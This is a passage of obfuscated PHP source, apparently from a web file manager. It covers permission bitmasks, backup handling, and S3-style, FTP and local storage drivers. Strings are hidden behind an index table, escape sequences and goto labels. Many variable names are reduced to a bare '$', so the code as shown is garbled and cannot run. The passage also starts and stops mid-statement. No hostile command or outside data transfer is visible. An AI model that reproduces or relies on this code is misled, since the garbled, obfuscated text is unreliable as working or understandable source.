{ $ë =& $_SERVER[Ǿ]; $ٯ = Model($ë[817])->where(array($ë[411] => 0))->sum($ë[90]); $ÉǮ = Model($ë[470])->sum($ë[90]); if ($ÉǮ > $ٯ) { $ÉǮ = $ٯ; } return array($ë[90] => (int) $ٯ, $ë[1742] => (int) $ÉǮ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $琏 =& $_SERVER[Ǿ]; $Ԙ = array(array($琏[421] => LNG($琏[1809]), $琏[1810] => $琏[1811], $琏[1812] => 1, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($琏[421] => LNG($琏[1815]), $琏[1810] => $琏[1816], $琏[1812] => 2, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($琏[421] => LNG($琏[1817]), $琏[1810] => $琏[1818], $琏[1812] => 3, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($琏[421] => LNG($琏[1819]), $琏[1810] => $琏[1820], $琏[1812] => 4, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_VIEW), array($琏[421] => LNG($琏[1821]), $琏[1810] => $琏[1822], $琏[1812] => 5, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($琏[421] => LNG($琏[1823]), $琏[1810] => $琏[1824], $琏[1812] => 6, $琏[1813] => 1, $琏[1814] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($琏[421] => LNG($琏[1825]), $琏[1810] => $琏[1826], $琏[1812] => 7, $琏[1813] => 1, $琏[1814] => 0)); return $Ԙ; } public static function authCheck($, $) { $ = intval($); if ($GLOBALS[$_SERVER[Ǿ][505]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($ި) { return self::authCheck($ި, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($Ю) { return self::authCheck($Ю, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Ԕ) { return self::authCheck($Ԕ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($Ь) { return self::authCheck($Ь, self::AUTH_REMOVE); } public static function authCheckShare($߻Į) { return self::authCheck($߻Į, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($¿) { return self::authCheck($¿, self::AUTH_EVENT); } public static function authCheckRoot($˶) { return self::authCheck($˶, self::AUTH_ROOT); } public static function authCheckAction($ܩň, $ι) { $ь =& $_SERVER[Ǿ]; $ = array($ь[1827] => self::AUTH_VIEW, $ь[1182] => self::AUTH_DOWNLOAD, $ь[118] => self::AUTH_UPLOAD, $ь[1778] => self::AUTH_EDIT, $ь[1777] => self::AUTH_REMOVE, $ь[1788] => self::AUTH_SHARE, $ь[358] => self::AUTH_COMMENT, $ь[1628] => self::AUTH_EVENT, $ь[1828] => self::AUTH_ROOT); if (!isset($[$ι])) { return; } $ = $[$ι]; $ܩň = intval($ܩň); if ($ܩň <= 0) { return !1; } if (($ܩň & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ܩň & $); } public static function authDisable($, $ؚ) { if (intval($) <= 0) { return 0; } return intval($) & ~$ؚ; } public $optionType = "\123\171\x73\164\x65\155\x2e\163\157\x75\162\143\145\101\x75\164\x68\x4c\x69\x73\164"; public $field = array("\156\141\155\x65", "\141\165\x74\x68", "\x6c\x61\142\145\x6c", "\x64\151\x73\160\x6c\x61\x79", "\163\x79\x73\164\145\x6d", "\x73\x6f\162\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($ه, $ĉ) { $œ =& $_SERVER[Ǿ]; $޻ = parent::listData(); foreach ($޻ as $ǓȂ) { $Ӧ = intval($ǓȂ[$œ[414]]); if ($Ӧ <= 0 || $ǓȂ[$œ[1829]] == 0) { continue; } if (($Ӧ & $ه) != $ه) { continue; } if (($Ӧ & $ĉ) != 0) { continue; } return $ǓȂ[$œ[401]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ꣿ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $ꣿ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($ = false, $ = "\x73\157\162\x74", $ݤ = false) { return parent::listData($, $, $ݤ); } public function update($ͭ츍, $΂) { $ȝ =& $_SERVER[Ǿ]; $ = parent::listData($ͭ츍); $󮈸 = $this->findByName($΂[$ȝ[42]]); if (!$ || $󮈸 && $󮈸[$ȝ[401]] != $[$ȝ[401]]) { return !1; } $this->filterAuth($΂[$ȝ[414]]); return parent::update($ͭ츍, $΂); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[Ǿ][1259]]) { return !1; } return parent::remove($); } public function add($ւ = array()) { $Ϊ =& $_SERVER[Ǿ]; if ($this->findByName($ւ[$Ϊ[42]])) { return !1; } $򌍱 = array($Ϊ[42] => $Ϊ[22], $Ϊ[414] => 1, $Ϊ[1830] => $Ϊ[1818], $Ϊ[1829] => 1, $Ϊ[1259] => 0, $Ϊ[1831] => 0); $ւ = array_merge($򌍱, $ւ); $ւ[$Ϊ[1831]] = $this->getSort(); $this->filterAuth($ւ[$Ϊ[414]]); return parent::insert($ւ); } private function getSort() { $˙ =& $_SERVER[Ǿ]; $޴ = parent::listData(); $ = array_to_keyvalue($޴, $˙[22], $˙[1831]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$֘) { if (!$֘) { return; } $ͦ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ͦ as $ـ) { if ($֘ & $ـ) { $[] = $ـ; } } if (in_array(self::AUTH_ROOT, $)) { $֘ = array_sum($ͦ); return; } $歷 = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $ـ) { if (isset($歷[$ـ])) { $ = array_merge($, $歷[$ـ]); } } $[] = self::AUTH_SHOW; $֘ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\155\x2e\x62\141\143\x6b\165\160\114\151\x73\164"; public $field = array("\x69\x6f", "\156\141\x6d\x65", "\x73\x74\x61\164\165\163", "\143\x6f\x6e\164\145\156\164", "\x6d\x61\x6e\165\x61\x6c", "\162\x65\x73\x75\x6c\164", "\164\151\155\x65\x46\x72\157\155", "\x74\151\155\145\124\157"); public function config() { $ =& $_SERVER[Ǿ]; $ﯷ = Model($[762])->get($[772]); $ﯷ = json_decode($ﯷ, !0); $ﯷ = is_array($ﯷ) ? $ﯷ : array(); if (!isset($ﯷ[$[747]])) { $ﯷ[$[747]] = $[99]; } unset($ﯷ[$[1610]]); Action($[1832])->taskInit(); Model($[1609])->cacheClear(); $ڽ = $[1833]; $ = Model($[1834])->findByKey($[1628], $ڽ); if (!$) { $ = array(); } if (isset($[$[206]])) { $[$[206]] = json_decode($[$[206]], !0); } if (isset($ﯷ[$[206]])) { $[$[206]][$[1613]] = $ﯷ[$[206]]; unset($ﯷ[$[206]]); } return array_merge($, $ﯷ); } public function listData($ȫ = false, $Ä = "\155\x6f\x64\x69\x66\x79\x54\151\x6d\x65", $ = false) { return parent::listData($ȫ, $Ä, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[Ǿ]; $˦ϱ = $this->listData($); if (!$˦ϱ || empty($˦ϱ[$[42]])) { return !0; } Task::kill($[771]); Task::kill($[792]); Task::kill($[801]); $Ҟ = $˦ϱ[$[42]]; $ߣ = TEMP_FILES . $[770] . $Ҟ . $[18]; IO::remove($ߣ, !1); return $this->remove($); } public function remove($Ԧ) { $ = $this->listData($Ԧ); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[Ǿ][401]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($у) { $ =& $_SERVER[Ǿ]; $ = $у[$[42]]; $Ҳ = Model($[762])->get($[763]); $҇ = substr(md5($[764] . $Ҳ . $), 0, 8); return "\173\x69\157\x3a{$у[$[744]]}\175\57\144\141\x74\x61\142\141\163\x65\57\x62\x61\143\153\x75\160\x2f" . $ . $[21] . $҇; } public function start() { $ =& $_SERVER[Ǿ]; if ($GLOBALS[$[16]][$[100]][$[1835]] != $[99]) { return !0; } $珉 = $this->config(); if (!$珉 || $珉[$[1610]] != $[99]) { return !1; } $̙ = $this->process(); foreach ($̙ as $œ) { if ($œ) { return Task::restart($œ[$[401]]); } } $ = new Backup(); $ھ = $->db(); if ($ھ) { $ھ = $->dbFile(); if ($ھ && $珉[$[747]] == $[200]) { $ھ = $->file(); } } Backup::set(array($[742] => 1, $[496] => time())); return !0; } public function process() { $ =& $_SERVER[Ǿ]; $÷ = array($[750] => Task::get($[771]), $[754] => Task::get($[792]), $[202] => Task::get($[801])); $ = !1; foreach ($÷ as &$Ӏ) { if ($) { $Ӏ = !1; continue; } if ($Ӏ) { $ = intval(_get($Ӏ, $[1645], 0)); if (time() - $ > 7200) { Task::kill($Ӏ[$[401]]); $ = !0; $Ӏ = !1; } } } return $÷; } public function restore() { $ =& $_SERVER[Ǿ]; ActionCall($[1045], !0, 1); ActionCall($[1045], !0, 0); } } goto eꙍ; bφ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[Ǿ][221]); } public function uploadFormData($, $Ωũ = 3600) { $䌉 =& $_SERVER[Ǿ]; $ج = $䌉[201]; $ = $䌉[1329]; $ܻ = $䌉[72]; $ = gmdate($䌉[1330]); $ = gmdate($䌉[743]); $Ը = $䌉[1331]; $؜ = $Ωũ . $䌉[22]; $ȫ = $䌉[1293]; $򘯓 = array($this->accessKey, $, $this->region, $ܻ, $Ը); $ = implode($䌉[18], $򘯓); $ɚû = array($䌉[1295] => gmdate($䌉[1294], strtotime($䌉[1332])), $䌉[1296] => array(array($䌉[1298] => $this->bucket), array($䌉[1297] => $ج), array($䌉[1299], $䌉[1300], $䌉[22]), array($䌉[1299], $䌉[1333], $䌉[22]), array($䌉[1299], $䌉[1334], $䌉[22]), array($䌉[1301] => $ȫ), array($䌉[1335] => $), array($䌉[1336] => $), array($䌉[1337] => $), array($䌉[1338] => $؜))); $ả = base64_encode(json_encode($ɚû)); $֘ = hash_hmac($䌉[1339], $, $䌉[1340] . $this->secret, !0); $ = hash_hmac($䌉[1339], $this->region, $֘, !0); $ = hash_hmac($䌉[1339], $ܻ, $, !0); $ = hash_hmac($䌉[1339], $Ը, $, !0); $֪ = hash_hmac($䌉[1339], $ả, $); $ = array($䌉[220] => $䌉[22], $䌉[1341] => $䌉[22], $䌉[1297] => $ج, $䌉[1301] => $ȫ, $䌉[1305] => $ả, $䌉[1342] => $, $䌉[1343] => $, $䌉[1344] => $, $䌉[1345] => $؜, $䌉[1346] => $֪, $䌉[184] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; private $config = array(); public function __construct($ϝ) { parent::__construct(); if (count($ϝ) > 0) { $this->_init($ϝ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($چ) { $ =& $_SERVER[Ǿ]; global $config; $this->appCharset = $config[$[1347]]; $this->systemCharset = $config[$[1348]]; if (isset($چ[$[1349]]) && $چ[$[1349]]) { $this->systemCharset = $چ[$[1349]]; } } public function iconvApp($Х) { return $this->iconvTo($Х, $this->systemCharset, $this->appCharset); } public function iconvSystem($ܓ) { return $this->iconvTo($ܓ, $this->appCharset, $this->systemCharset); } public function getPathOuter($͒䑆) { $Β =& $_SERVER[Ǿ]; $ = $this->iconvApp($this->pathBase); $͒䑆 = $this->iconvApp($͒䑆); if (substr($, 0, 2) == $Β[1350]) { $ = BASIC_PATH . substr($, 2); } if (substr($͒䑆, 0, 2) == $Β[1350]) { $͒䑆 = BASIC_PATH . substr($͒䑆, 2); } $ = KodIO::clear($); $͒䑆 = KodIO::clear($͒䑆); $͒䑆 = substr($͒䑆, strlen($)); if (empty($this->pathDriver)) { return $͒䑆; } return $this->pathDriver . $Β[18] . ltrim($͒䑆, $Β[18]); } private function _init($Җ = array()) { $Ѕ =& $_SERVER[Ǿ]; if (!function_exists($Ѕ[1351])) { throw new Exception(LNG($Ѕ[1352])); } $this->config = $Җ; $this->charsetReset($Җ); foreach ($Җ as $ => $ٛ) { if (isset($this->{$})) { $this->{$} = $ٛ; } } return $this->_login($Җ); } private function _login($) { $َ =& $_SERVER[Ǿ]; static $ = array(); $ = md5(json_encode($)); if (isset($[$])) { foreach ($[$] as $ο => $) { $this->{$ο} = $; } return !0; } $ = parse_url(trim($this->server, $َ[18])); $this->host = $[$َ[184]]; $ = isset($[$َ[183]]) && $[$َ[183]] == $َ[1353] ? !0 : !1; $this->scheme = $ ? $َ[1354] : $َ[1355]; $this->port = isset($[$َ[185]]) ? $[$َ[185]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ӟƙ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $َ[99] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($َ[1356] => $this->connect, $َ[184] => $this->host, $َ[183] => $this->scheme, $َ[185] => $this->port); return $ӟƙ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($ꭡ, $آğ = '', $ޘ = REPEAT_RENAME) { if ($this->setContent($ꭡ, $آğ)) { return $this->getPathOuter($ꭡ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($֙, $ߘ鏔) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($֙)); $Ȼ = $this->tempFile($); $埡 = $this->iconvApp($Ȼ); $this->download($֙, $埡); $ = $this->upload($ߘ鏔, $埡); $this->tempFileRemve($Ȼ); return $; } public function moveFile($, $܌釞) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $܌釞 = $this->iconvSystem($܌釞); $׷ = @ftp_rename($this->connect, $, $܌釞); return $׷ ? $this->getPathOuter($܌釞) : !1; } public function delFile($귫) { if (!$this->_isconn()) { return !1; } $귫 = $this->iconvSystem($귫); return @ftp_delete($this->connect, $귫); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $Ց = array(); $this->fileList($, $, $Ց, !0); $this->listItemCache = !0; foreach ($Ց as $ռ) { $ɻ = $this->iconvSystem($ռ[$_SERVER[Ǿ][42]]); $՗ = @ftp_delete($this->connect, $ɻ); if (!$՗) { return !1; } } foreach ($ as $ɻ) { $ɻ = $this->iconvSystem($ɻ); $՗ = @ftp_rmdir($this->connect, $ɻ); if (!$՗) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($̓, $) { $͗ =& $_SERVER[Ǿ]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($̓), $); $ = $this->iconvSystem($); $̓ = $this->iconvSystem($̓); $ӑ = $this->pathFather($̓); $㍰ = rtrim($ӑ, $͗[18]) . $͗[18] . $; $ܶ = @ftp_rename($this->connect, $̓, $㍰); $㍰ = $this->iconvApp($㍰); return $ܶ ? $this->getPathOuter($㍰) : !1; } private function folderInfo($, $ = false) { $٩ =& $_SERVER[Ǿ]; $ = array($٩[42] => $this->pathThis($), $٩[88] => $this->getPathOuter($٩[18] . $), $٩[43] => $٩[89]); if ($) { return $; } $[$٩[203]] = $[$٩[96]] = 0; $[$٩[204]] = $[$٩[205]] = !0; return $; } private function fileInfo($׿Ô, $ك = false, $ו = array()) { $ =& $_SERVER[Ǿ]; $޽ = array($[42] => $this->pathThis($׿Ô), $[88] => $this->getPathOuter($[18] . $׿Ô), $[43] => $[202], $[90] => isset($ו[$[90]]) ? $ו[$[90]] : 0, $[177] => $this->ext($׿Ô)); if ($ك) { return $޽; } $޽[$[203]] = $޽[$[96]] = 0; $޽[$[204]] = $޽[$[205]] = !0; $ޔ = $this->iconvSystem($׿Ô); $޽[$[96]] = @ftp_mdtm($this->connect, $ޔ); if (empty($ו)) { $ו = $this->objectMeta($׿Ô); if (!$ו) { return $޽; } } $޽[$[90]] = $ו[$[90]]; return $޽; } public function size($ၝ) { $ = $this->objectMeta($ၝ); return $ ? $[$_SERVER[Ǿ][90]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$ۿ, $ = false) { $׬ =& $_SERVER[Ǿ]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $׬[18]); $ = rtrim($, $׬[18]) . $׬[18]; check_abort(); $ = $this->listItemCache === !1 ? !1 : !0; $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $殌˄ = array($׬[20] => 1, $׬[1357] => 1); foreach ($ as $ꁩ) { $ = $this->_listItem($ꁩ); if ($[0] == $׬[751]) { continue; } $ = $[8]; if (empty($) && $ !== $׬[200] || isset($殌˄[$])) { continue; } $ = $this->iconvApp($ . ltrim($, $׬[18])); $ = array($׬[42] => $, $׬[43] => $׬[202], $׬[90] => $[4]); if (substr($ꁩ, 0, 1) == $׬[1358]) { $[$׬[43]] = $׬[89]; $[$׬[90]] = 0; } $ע = $[$׬[43]] == $׬[89] ? !0 : !1; if ($) { $this->cacheMethod($׬[208], $, $ע); $this->cacheMethod($׬[209], $, $); } if ($ע) { $[] = $; if ($) { $this->fileList($, $, $ۿ, $); } continue; } $ۿ[] = $; } if ($) { $this->cacheMethod($׬[208], $, !0); } } private function _listItem($) { if (empty($)) { return array(); } $ = preg_split($_SERVER[Ǿ][1359], $); if (count($) <= 9) { return $; } $[8] = trim(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($¼, $ɔ = false) { $ɑ܋ =& $_SERVER[Ǿ]; if (!$this->_isconn()) { return !1; } $銵 = $ = array(); $this->fileList($¼, $銵, $); foreach ($銵 as $¤ => $֚) { $銵[$¤] = $this->folderInfo($֚, $ɔ); } foreach ($ as $¤ => $֚) { $[$¤] = $this->fileInfo($֚[$ɑ܋[42]], $ɔ, $֚); } return array($ɑ܋[87] => $銵, $ɑ܋[86] => $); } public function has($, $ = false, $ = true) { $ݺ =& $_SERVER[Ǿ]; $ = $ = array(); $ݗȶ = $ ? !0 : !1; $this->fileList($, $, $, $ݗȶ); if ($) { return array($ݺ[212] => count($), $ݺ[213] => count($)); } if ($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $ɹ =& $_SERVER[Ǿ]; if (!$this->_isconn()) { return !1; } $˃ǥ = $٭ϣ = array(); $this->fileList($, $˃ǥ, $٭ϣ, !0); $ޗ = array(); foreach ($٭ϣ as $ı) { $ޗ[$ı[$ɹ[42]]] = $ı[$ɹ[90]]; } foreach ($˃ǥ as $ı) { if (is_string($ı)) { $ޗ[$ı] = 0; } } return $this->listAllFiles($, array_keys($ޗ), $ޗ); } public function getContent($ͪ) { if (!$this->_isconn()) { return !1; } $ͪ = $this->iconvSystem($ͪ); return $this->fileSubstr($ͪ); } public function setContent($ƀ, $͋ = '') { if (!$this->_isconn()) { return !1; } $Ƣ = $this->pathThis($this->iconvSystem($ƀ)); $ = $this->tempFile($Ƣ); file_put_contents($, $͋); $ = $this->upload($ƀ, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($ٲ, $Ӫ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($ٲ, $Ӫ, $); } private function ftpRequest($, $β = 0, $ = false) { $ = $this->iconvSystem($); $˔ = $this->scheme . $this->host . $_SERVER[Ǿ][4] . $this->port; $峳 = curl_init(); curl_setopt($峳, CURLOPT_URL, $˔ . $this->pathEncode($)); curl_setopt($峳, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ = $β + $ - 1; curl_setopt($峳, CURLOPT_RANGE, "{$β}\x2d{$}"); } curl_setopt($峳, CURLOPT_RETURNTRANSFER, 1); $ǀ = curl_exec($峳); curl_close($峳); return $ǀ; } public function upload($麢, $Ĝ, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($麢))) { return !1; } $麢 = $this->iconvSystem($麢); $Ĝ = $this->iconvSystem($Ĝ); $޲ = ftp_nb_put($this->connect, $麢, $Ĝ, FTP_BINARY); while ($޲ == FTP_MOREDATA) { $޲ = ftp_nb_continue($this->connect); } if ($޲ != FTP_FINISHED) { return !1; } return $this->getPathOuter($麢); } public function download($Ő, $ڂѳ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($ڂѳ); if (!IO::mkdir($)) { return !1; } $Ő = $this->iconvSystem($Ő); $ڂѳ = $this->iconvSystem($ڂѳ); $Ԅؠ = ftp_nb_get($this->connect, $ڂѳ, $Ő, FTP_BINARY); while ($Ԅؠ == FTP_MOREDATA) { $Ԅؠ = ftp_nb_continue($this->connect); } if ($Ԅؠ != FTP_FINISHED) { return !1; } return $this->iconvApp($ڂѳ); } public function exist($ڢ) { return $this->isFile($ڢ) || $this->isFolder($ڢ); } public function isFile($ޙ) { return !$this->isFolder($ޙ) && $this->objectMeta($ޙ); } public function isFolder($ӧ) { return $this->cacheMethod($_SERVER[Ǿ][208], $ӧ); } protected function objectMeta($ȇ) { return $this->cacheMethod($_SERVER[Ǿ][209], $ȇ); } protected function _objectMeta($ٵ) { $ȸ =& $_SERVER[Ǿ]; if ($ٵ == $ȸ[22] || $ٵ == $ȸ[18]) { return array(); } if (!$this->_isconn()) { return !1; } $ٵ = $this->iconvSystem($ٵ); $ = array($ȸ[42] => $this->iconvApp($ٵ), $ȸ[43] => $ȸ[202], $ȸ[90] => 0); @ftp_chdir($this->connect, $ȸ[18]); $ֵ = @ftp_size($this->connect, $ٵ); if ($ֵ != -1) { $[$ȸ[90]] = $ֵ; } else { $՟ = @ftp_chdir($this->connect, $ٵ); if (!$՟) { return !1; } $[$ȸ[43]] = $ȸ[89]; } return $; } protected function _isFolder($͗) { $ =& $_SERVER[Ǿ]; if ($͗ == $[22] || $͗ == $[18]) { return !0; } $ڽ = $this->_objectMeta($͗); return isset($ڽ[$[43]]) && $ڽ[$[43]] == $[89] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[Ǿ][1350]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($悂) { $Τ =& $_SERVER[Ǿ]; global $config; return $this->iconvTo($悂, $config[$Τ[1348]], $config[$Τ[1347]]); } public function iconvSystem($ꋼ) { $ =& $_SERVER[Ǿ]; global $config; return $this->iconvTo($ꋼ, $config[$[1347]], $config[$[1348]]); } public function getPathOuter($ɵ) { $ߢ =& $_SERVER[Ǿ]; $հ = $this->iconvApp($this->pathBase); $ɵ = $this->iconvApp($ɵ); if (substr($հ, 0, 2) == $ߢ[1350]) { $հ = BASIC_PATH . substr($հ, 2); } if (substr($ɵ, 0, 2) == $ߢ[1350]) { $ɵ = BASIC_PATH . substr($ɵ, 2); } $հ = KodIO::clear($հ); $ɵ = KodIO::clear($ɵ); $ɵ = substr($ɵ, strlen($հ)); if (empty($this->pathDriver)) { return $ɵ; } return $this->pathDriver . $ߢ[18] . ltrim($ɵ, $ߢ[18]); } public function mkfile($, $ = '', $嗥 = REPEAT_RENAME) { $ = $this->iconvSystem($); @touch($); if ($) { file_put_contents($, $); } @chmod($, $this->pathAuth); return is_file($) ? $this->getPathOuter($) : !1; } public function mkdir($خ, $ƣ = REPEAT_SKIP) { $خ = $this->iconvSystem($خ); if (is_dir($خ)) { return $this->getPathOuter($خ); } @mkdir($خ, $this->pathAuth, !0); @chmod($خ, $this->pathAuth); return is_dir($خ) ? $this->getPathOuter($خ) : !1; } public function copyFile($, $凅) { $this->mkdir($this->pathFather($凅)); $ = $this->iconvSystem($); $凅 = $this->iconvSystem($凅); $Īέ = copy_64($, $凅); @chmod($凅, $this->pathAuth); return $Īέ ? $this->getPathOuter($凅) : !1; } public function moveFile($뾵, $돌) { $this->mkdir($this->pathFather($돌)); $뾵 = $this->iconvSystem($뾵); $돌 = $this->iconvSystem($돌); $ٳ = intval(@rename($뾵, $돌)); if (!$ٳ) { if ($ٳ = intval(@copy_64($뾵, $돌))) { @unlink($뾵); } } @chmod($돌, $this->pathAuth); return $ٳ ? $this->getPathOuter($돌) : !1; } public function movePath($, $, $ńټ = false) { $ =& $_SERVER[Ǿ]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[18]) . $[18] . ($ńټ ? $ńټ : get_path_this($)); if (file_exists($)) { return !1; } $݉ = intval(@rename($, $)); $݉ = file_exists($); return $݉ ? $this->getPathOuter($) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($귻) { $ص겱 =& $_SERVER[Ǿ]; $귻 = $this->iconvSystem($귻); if (!is_dir($귻)) { return !0; } if (!($ý = opendir($귻))) { return !1; } while (($ = readdir($ý)) !== !1) { if ($ == $ص겱[20] || $ == $ص겱[1357]) { continue; } $ణ = $귻 . $ص겱[18] . $; if (is_file($ణ) || is_link($ణ)) { if (!unlink($ణ)) { chmod($ణ, $this->pathAuth); if (!unlink($ణ)) { return !1; } } } else { if (is_dir($ణ)) { chmod($ణ, $this->pathAuth); $ణ = $this->iconvApp($ణ); if (!$this->delFolder($ణ)) { return !1; } } } } closedir($ý); return rmdir($귻); } public function rename($ä, $̓) { $ =& $_SERVER[Ǿ]; $я = $this->fileNameAuto($this->pathFather($ä), $̓); $я = $this->iconvSystem($я); $ä = $this->iconvSystem($ä); $񠁩 = $this->pathFather($ä); $䪃 = rtrim($񠁩, $[18]) . $[18] . $я; $능 = @rename($ä, $䪃); $䪃 = $this->iconvApp($䪃); return $능 ? $this->getPathOuter($䪃) : !1; } public function size($Хؗ) { $Хؗ = $this->iconvSystem($Хؗ); return filesize_64($Хؗ); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($؀, &$, $ = true) { $ =& $_SERVER[Ǿ]; check_abort_echo(); $؀ = rtrim($؀, $[18]) . $[18]; if ($) { $؀ = $this->iconvSystem($؀); } if (!($ = @opendir($؀))) { return; } while (($ = readdir($)) !== !1) { if ($ == $[20] || $ == $[1357]) { continue; } $⯽ = $؀ . $; if (is_file($⯽) || is_link($⯽)) { $[$[91]]++; $[$[90]] += filesize_64($⯽); } else { if (is_dir($⯽)) { $[$[92]]++; $this->infoChildren($⯽, $, !1); } } } closedir($); } private function folderInfo($, $ɉ = false) { $숢 =& $_SERVER[Ǿ]; $ = rtrim($, $숢[18]) . $숢[18]; $̥ = $this->iconvApp($this->pathThis($)); if ($ɉ) { return array($숢[42] => $̥, $숢[88] => $this->getPathOuter($), $숢[43] => $숢[89]); } $ = array($숢[42] => $̥, $숢[88] => $this->getPathOuter($), $숢[43] => $숢[89], $숢[203] => @filectime($), $숢[96] => @filemtime($), $숢[1360] => @fileatime($), $숢[1361] => is_readable($), $숢[1362] => 